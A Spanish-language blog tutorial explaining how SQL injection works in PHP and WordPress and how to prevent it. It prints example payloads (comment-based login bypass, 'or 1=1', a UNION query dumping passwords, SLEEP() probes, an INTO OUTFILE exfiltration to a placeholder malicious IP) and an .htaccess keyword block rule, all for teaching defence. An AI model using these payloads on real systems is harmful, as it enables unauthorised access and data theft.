Tiempo de lectura aprox: 7 minutos, 4 segundos
Cómo funciona un Ataque de Inyección SQL en WordPress.
La inyección SQL es uno de los métodos más utilizados por los «Crackers», como ya expliqué en un artículo anterior.
En esta artículo «de expansión» quiero detallar un poco más el funcionamiento en relación al lenguaje PHP y su uso concreto en WordPress.
Si no lo hiciste ya, te recomiendo leer el artículo en el que comento en vista general, cómo funciona un ataque de inyección SQL.
En pocas palabras, la inyección SQL también conocida como SQLi, es un ataque a una aplicación web que compromete la base de datos mediante comandos o sentencias SQL maliciosas.
Un poco más de detalle
Imagina una típica aplicación web que implica solicitudes de bases de datos a través de las entradas del usuario; La entrada del usuario se realiza a través de un formulario de acceso; A continuación, se consulta la base de datos con los campos enviados por el usuario para autentificarlos. La estructura de la consulta a su base de datos es algo así:
SELECT * FROM user_table WHERE username = 'sdaityari' AND password = 'mypassword';
Para simplificar, supón que está almacenando las contraseñas como texto claro (absolutamente desaconsejado, como sabes). A continuación, cuando la aplicación recibe el nombre de usuario y la contraseña por medio del formulario, puede definir la consulta en PHP de esta manera:
// Conecta a la base de datos SQL $db_query = "SELECT * FROM user_table WHERE username = '".$user."' AND password = '".$password."';"; // Ejecuta la sentencia
En este caso, si has introducido el valor «admin’;-» en el campo de nombre de usuario, la consulta SQL resultante que genera la variable $db_query será la siguiente:
SELECT * FROM user_table WHERE username = 'admin';--' AND password = 'mypassword';
Dado que en SQL se utilizan dos guiones consecutivos como indicación de un comentario (—), la consulta resultante filtra sólo por el nombre de usuario sin tener en cuenta la contraseña, ignorando el resto de la línea de comando.
Si no hubiera seguridad para evitarlo, simplemente se le concedería acceso administrativo a la aplicación web con sólo usar este truco.
En el ejemplo que citaba en el artículo anterior se usa un ataque booleano, que también puede ser usado en este caso para obtener acceso. Si un atacante introduce «password’ or 1=1;–» en el campo de la contraseña, la consulta resultante sería la siguiente:
SELECT * FROM user_table WHERE username = 'admin' AND password = 'password' or 1=1;--';
Y como resultado, la contraseña será evaluada como «true» y el resto de la línea de comando SQL será ignorada (convertida en comentario).
Tipo de inyección SQL
Como ya conoces en qué consiste la inyección SQL, vamos a ver sus variantes.
Inyección SQL en banda
Se trata de la forma más simple de inyección SQL. En este proceso, el atacante es capaz de utilizar el mismo canal para insertar el código SQL malicioso en la aplicación, así como para recoger los resultados.
Dos formas de ataques de inyección SQL en banda, son:
- Ataque basado en errores
- Un atacante utiliza una técnica de inyección SQL basada en errores durante las fases iniciales de su ataque.
La idea detrás de una inyección SQL basada en errores es obtener más información sobre la estructura de la base de datos y los nombres de las tablas que usa la aplicación web.
Por ejemplo, un mensaje de error puede contener el nombre de la tabla incluido en la consulta y los nombres de las columnas de la tabla; Estos datos pueden ser utilizados para crear nuevos ataques. - Ataque basado en la Unión
- En este método, un atacante que utiliza la unión SQL se une para mostrar los resultados de una tabla diferente.
Por ejemplo, si un atacante está en una página de búsqueda, puede añadir los resultados de otra tabla:SELECT title, link FROM post_table WHERE id < 10 UNION SELECT username, password FROM user_table; --;
- Inyección SQL Ciega (Blind SQL Injection)
- Si un atacante genera un error en la consulta SQL, la respuesta de la consulta puede no ser transmitida directamente a la página web. En tal caso, el atacante necesita investigar más.
En esta forma de inyección SQL, el atacante envía varias consultas a la base de datos para evaluar cómo la aplicación analiza estas respuestas.
Hay dos tipos de Inyección SQL Ciega: «Inyección SQL Booleana» y «Inyección SQL basada en tiempo».
El ataque «Booleano» se produce si una consulta SQL da como resultado un error que no ha sido manejado internamente en la aplicación; la página web resultante puede arrojar un error, cargar una página en blanco o cargar parcialmente.
En una Inyección SQL Booleana, un atacante evalúa qué partes de la entrada de un usuario son vulnerables a las inyecciones SQL probando dos versiones diferentes de una cláusula booleana a través de la entrada:- «… and 1=1»
- «… and 1=2»
Si la aplicación funciona normalmente en el primer caso pero muestra una anomalía en el segundo, indica que la aplicación es vulnerable a un ataque de Inyección SQL Booleana.
- Ataque basado en el tiempo
- El ataque de Inyección SQL basado en el tiempo Este se produce cuando la aplicación utiliza una función predefinida basada en el tiempo del sistema de administración de la base de datos.
Por ejemplo, en MySQL, la función sleep() le indica a la base de datos que espere un cierto número de segundos.SELECT * FROM comments WHERE post_id=1-SLEEP(15);
Si la consulta resulta en un retraso, el atacante sabrá que la aplicación es vulnerable.
Inyección SQL fuera de banda
Así se llama un ataque cuando el atacante no puede obtener los resultados de una inyección SQL a través del mismo canal.
Usualmente estas técnicas implican el envío de datos de la base de datos SQL a una ubicación maligna elegida por el atacante. Este proceso también depende en gran medida de las capacidades del sistema de gestión de la base de datos.
Un ataque de inyección SQL fuera de banda utiliza una capacidad de proceso de archivos externos de su gestor de base de datos. En MySQL, las funciones LOAD_FILE() y INTO OUTFILE pueden ser usadas para solicitar a MySQL que transmita los datos a una fuente externa.
A modo de ejemplo, vemos cómo un atacante puede utilizar OUTFILE para enviar los resultados de una consulta a una fuente externa:
SELECT * FROM post_table INTO OUTFILE '\\\\DIRECCIÓN_IP_MALICIOSA\localización'
De manera similar, la función LOAD_FILE() puede utilizarse para leer un archivo del servidor y mostrar su contenido.
Se puede utilizar una combinación de LOAD_FILE() y OUTFILE para leer el contenido de un archivo en el servidor y luego transmitirlo a una ubicación diferente.
¿Cómo prevenir las inyecciones de SQL?
Hemos visto varios ejemplos de vulnerabilidades en una aplicación en PHP que pueden conducir a ataques de inyección SQL.
Una vulnerabilidad de inyección SQL puede ser utilizada por un atacante para leer, modificar o incluso eliminar el contenido de su base de datos.
Otra de las características de la inyección SQL es que un atacante puede conseguir leer un archivo en cualquier lugar dentro del servidor y transferir el contenido a otro lugar.
Veamos pues, que se puede hacer para atajar estos ataques.
Entradas Escape del usuario
Determinar si una cadena de caracteres suministrada por un usuario es maliciosa, no es una tarea fácil, pero una de las primeras aproximaciones es «escapar» los caracteres especiales que puedas encontrar en la entrada del usuario.
Lo recomendable será «escapar» la cadena de caracteres suministrada, antes de construir la consulta SQL en PHP, usando la función mysql_escape_string() o, en MySQL, usando la función mysqli_real_escape_string().
Tendrás que convertir la cadena resultante, para que los caracteres especiales no interfieran con el marcado HTML, lo que se consigue con la función htmlspecialchars().
Usar declaraciones preparadas
Otra forma de evitar la inyección SQL es usar sentencias preparadas, que no son otra cosa que plantillas de una consulta SQL, en la que se especifican los parámetros en una etapa posterior para ejecutarla.
Esto es un ejemplo de una declaración preparada en PHP y MySQLi.
$query = $mysql_connection->prepare("SELECT * FROM user_table WHERE username = ? AND password = ?"); $query->execute(array($username, $password));
Comprobaciones adicionales
El siguiente paso para mitigar esta vulnerabilidad es limitar el acceso a la base de datos a sólo lo necesario.
Una acción muy recomendada y relevante es evitar que pueda tener acceso a varios datos, conectando la aplicación web al sistema de gestión, usando un usuario específico para la base de datos relevante y que no tiene acceso a ninguna otra.
También resulta aconsejable bloquear ciertas palabras clave SQL en los métodos POST o GET.
Una acción alternativa para realizar ese bloqueo: puedes incluir las siguientes líneas de código en tu archivo .htaccess de forma que muestre un error 403 Forbidden a un posible atacante.
RewriteCond %{QUERY_STRING} [^a-z](declare¦char¦set¦cast¦convert¦delete¦drop¦exec¦insert¦meta¦script¦select¦truncate¦update)[^a-z] [NC] RewriteRule (.*) - [F]
El inconveniente sera que se mostrará el error 403 a cualquier usuario que introduzca una de esas palabras en la URL, aunque lo haga sin una intención de ataque.
Inyección SQL en WordPress
En la creación de WordPress, se ha tenido cuidado de atajar los problemas que pudieran derivar en ataque de inyección SQL así que, por ese lado estamos seguros.
La recomendación entonces, es mantener el «core» actualizado, pero sin embargo, cuando se utilizan Temas y Plugins de terceros, toda la aplicación corre peligro.
Personalmente, me gusta siempre tener en cuenta una filosofía:
Cualquier cadena es tan fuerte como su eslabón más débil.
Prevención de Vulnerabilidad de Inyección SQL para WordPress
Para mitigar la vulnerabilidad de inyección SQL en tu Tema o Plugin de WordPress, la única regla que debes seguir es utilizar siempre las funciones existentes de WordPress cuando interactúes con la base de datos.
Estas funciones se prueban exhaustivamente en busca de vulnerabilidades de inyección SQL durante el proceso de desarrollo de WordPress.
Por ejemplo, si deseas añadir un comentario a una entrada, utiliza la función wp_insert_comment() en lugar de insertar los datos directamente en la tabla wp_comments.
Es posible que en ocasiones necesites ejecutar una consulta compleja, aunque las funciones internas de WordPress son extensibles.
Si este es el caso, asegúrate de utilizar el grupo de funciones$wp_db que se proveen para estos casos.
Puedes usar $wpdb->prepare() para escapar de la entrada del usuario antes de crear la consulta.
Aquí tienes una lista de funciones para sanear los datos en WordPress; esto te ayudará a escapar de tipos específicos de entradas de usuario como correos electrónicos y URLs.
Fortifica tu sitio con WordPress
Si bien WordPress es seguro, problemas como el software de núcleo anticuado y los Plugins obsoletos pueden provocar vulnerabilidades.
La práctica recomendada es siempre revisar tu sitio WordPress en busca de vulnerabilidades, a fondo, aunque la extensión y complejidad del sitio pueden hacer que esa tarea sea un auténtico desafío.
Existen herramientas de exploración «on-line» como «ThreatPass» (https://db.threatpress.com/) y «WPScan Vulnerability Database» (https://wpscan.org/) que te facilitarán la labor.
Conclusión
La inyección SQL ha existido durante décadas y probablemente continuará encabezando las listas de vulnerabilidad en los próximos años.
Un informe de 2018 sobre sitios web pirateados sugiere que SQLi es la vulnerabilidad web más común para WordPress después de los ataques de XSS. Para evitar que ocurran, deberías:
- Entender cómo funciona la vulnerabilidad de inyección SQL.
- Explorar varias formas en las que los atacantes pueden usar inyección SQL para obtener acceso no autorizado a tu aplicación web.
- Implementar métodos para salvaguardar tu sitio web de los ataques de SQLi, como escapar de las entradas de los usuarios y utilizar sentencias preparadas.
- Seguir una rutina de control de seguridad.
Como dice el viejo refrán, «más vale prevenir que lamentar».
Una serie de buenas prácticas, incluyen:
- Mantén actualizados PHP, el núcleo de WordPress y MySQL.
- Actualiza los Plugins y Temas de terceros.
- Evita utilizar el usuario root para conectar la base de datos SQL.
- Limita los accesos del usuario SQL a los directorios sensibles
- Bloquea las palabras clave de SQL usadas en la URL de tu servidor.
- Mantén las copias de seguridad de tu sitio fuera del sitio físico de tu servidor.
Si te interesa el tema y quieres ver cómo ataja el problema la gente de WordPress.org, tienes un artículo interesante en: Limpiar un WordPress infectado.
También puedes instalar, para tu mayor seguridad, un plugin como Block Bad Queries.
Mientras tanto, #QuédateEnCasa, juega, experimenta y, sobre todo, ¡divertirte!
¡Gracias por leernos!
¡Tus comentarios y preguntas nos ayudan a mejorar, por favor comenta!